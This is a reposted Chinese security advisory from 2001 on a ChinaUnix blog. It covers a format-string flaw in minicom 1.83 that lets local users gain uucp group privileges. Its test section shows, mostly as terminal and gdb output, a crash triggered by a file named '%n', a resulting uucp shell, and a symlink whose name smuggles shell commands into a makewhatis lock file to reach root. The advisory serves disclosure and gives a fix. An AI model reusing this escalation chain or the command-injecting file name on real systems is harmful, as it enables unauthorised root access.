Chinaunix首页 | 论坛 | 博客
  • 博客访问: 819017
  • 博文数量: 756
  • 博客积分: 40000
  • 博客等级: 大将
  • 技术积分: 4980
  • 用 户 组: 普通用户
  • 注册时间: 2008-10-13 14:40
文章分类

全部博文(756)

文章存档

2011年(1)

2008年(755)

我的朋友

分类:

2008-10-13 14:41:54

发布日期: 2001-5-18

更新日期: 2001-5-18
受影响的系统:   
minicom minicom 1.83.1
minicom minicom 1.83.0
   - RedHat Linux 7.0
   - RedHat Linux 6.x
   - RedHat Linux 5.2
描述:
--------------------------------------------------------------------------------


BUGTRAQ ID : 2681
CVE ID :     

Minicom是一个串口通信工具,常常可以简化UNIX主机的拨号连接过程。很多流行
的UNIX系统都带有这个程序。

这个程序存在一个安全问题,如果试图通过xmodem来传送一个文件,而这个文件的
文件名中包含格式串时,将发生格式串溢出漏洞。

本地用户可能利用这个漏洞获取sgid uucp权限。利用其他的漏洞,攻击者可以获
取本地root权限。

<*来源:zenith parsec (zenith_parsec@the-astronaut.com) *>



测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



zenith parsec (zenith_parsec@the-astronaut.com)提供了下列
测试方法:

[root@clarity src]# whatis minicom
minicom              (1)  - friendly serial communication program
[root@clarity /root]# rpm -qf `which minicom`
minicom-1.83.1-4
[root@clarity src]# ll `which minicom`
-rwxr-sr-x    1 root     uucp       171452 Jan 30 05:54 /usr/bin/minicom*
[root@clarity src]# cd /usr/src/redhat/SOURCES/minicom-1.83.1/src
[root@clarity src]# grep do_log common.cgrep -v "%"
common.c: *             void do_log(char *)     - write a line to the logfile
common.c: * 27.10.98 jl  converted do_log to use stdarg
common.c:void do_log(char *line, ...)
common.c:void do_log(char *line, ...)
[root@clarity src]# grep do_log updown.c
    do_log(cmdline);   /* jl 22.06.97 */
                        do_log (trimbuf);
                      do_log(trimbuf);
    do_log (trimbuf);



    do_log("%s",cmdline);   /* jl 22.06.97 */
                        do_log ("%s",trimbuf);
                      do_log("%s",trimbuf);
    do_log ("%s",trimbuf);

and others are spread through the code that I haven't checked, but
should probably be fixed.>

cmdline contains the command that it executes to upload and download
files. Part of the command is of course the filename.>

[root@clarity src]# touch ~/%n
[root@clarity src]# ll ~/%n
-rw-r--r--    1 root     root            0 Apr 11 11:26 /root/%n



[root@clarity src]# gdb minicom
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(no debugging symbols found)...
(gdb) r
Starting program: /usr/bin/minicom
minicom: WARNING: please don't run minicom as root when not maintaining
                  it (with the -s switch) since all changes to the
                  configuration will be GLOBAL !.




Welcome to minicom 1.83.1

OPTIONS: History Buffer, F-key Macros, Search History Buffer, I18n
Compiled on Aug 24 2000, 10:09:47.

Press CTRL-A Z for help on special keys
                                                     
                                                     
space to tag it and then press return...>

(no debugging symbols found)...                                                
Program received signal SIGSEGV, Segmentation fault.                           
0x400b7a17 in _IO_vfprintf (s=0x8080a60,                                       
    format=0xbffff2c0 "/usr/bin/sx -vv %n", ap=0xbffff248)                     
    at ../sysdeps/i386/i486/bits/string.h:539                                   
539     ../sysdeps/i386/i486/bits/string.h: No such file or directory.         
(gdb) q
sh-2.04$ id
uid=10(uucp) gid=14(uucp) groups=14(uucp)
sh-2.04$ ln -s "/usr/share/man/man1/ls.1.gz;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;getroot;echo .1.gz" /var/lock/makewhatis.lock
sh-2.04$ ls -al
total 16
drwxrwxr-x    4 root     uucp         4096 Apr 11 11:41 .
drwxr-xr-x   19 root     root         4096 Apr  5 02:35 ..
drwxr-xr-x    2 root     root         4096 Apr  9 13:16 console
lrwxrwxrwx    1 uucp     uucp           91 Apr 11 11:41 makewhatis.lock -> /usr/share/man/man1/ls.1.gz;cd ..;cd ..;cd ..;cd ..;cd tmp;export PATH=.;getroot;echo .1.gz
drwxrwxr-x    2 root     root         4096 Apr  7 12:10 subsys



--------------------------------------------------------------------------------
建议:

建议您将minicom的sgid属性去掉:
chmod g-s `which minicom`
      
--------------------next---------------------

阅读(330) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~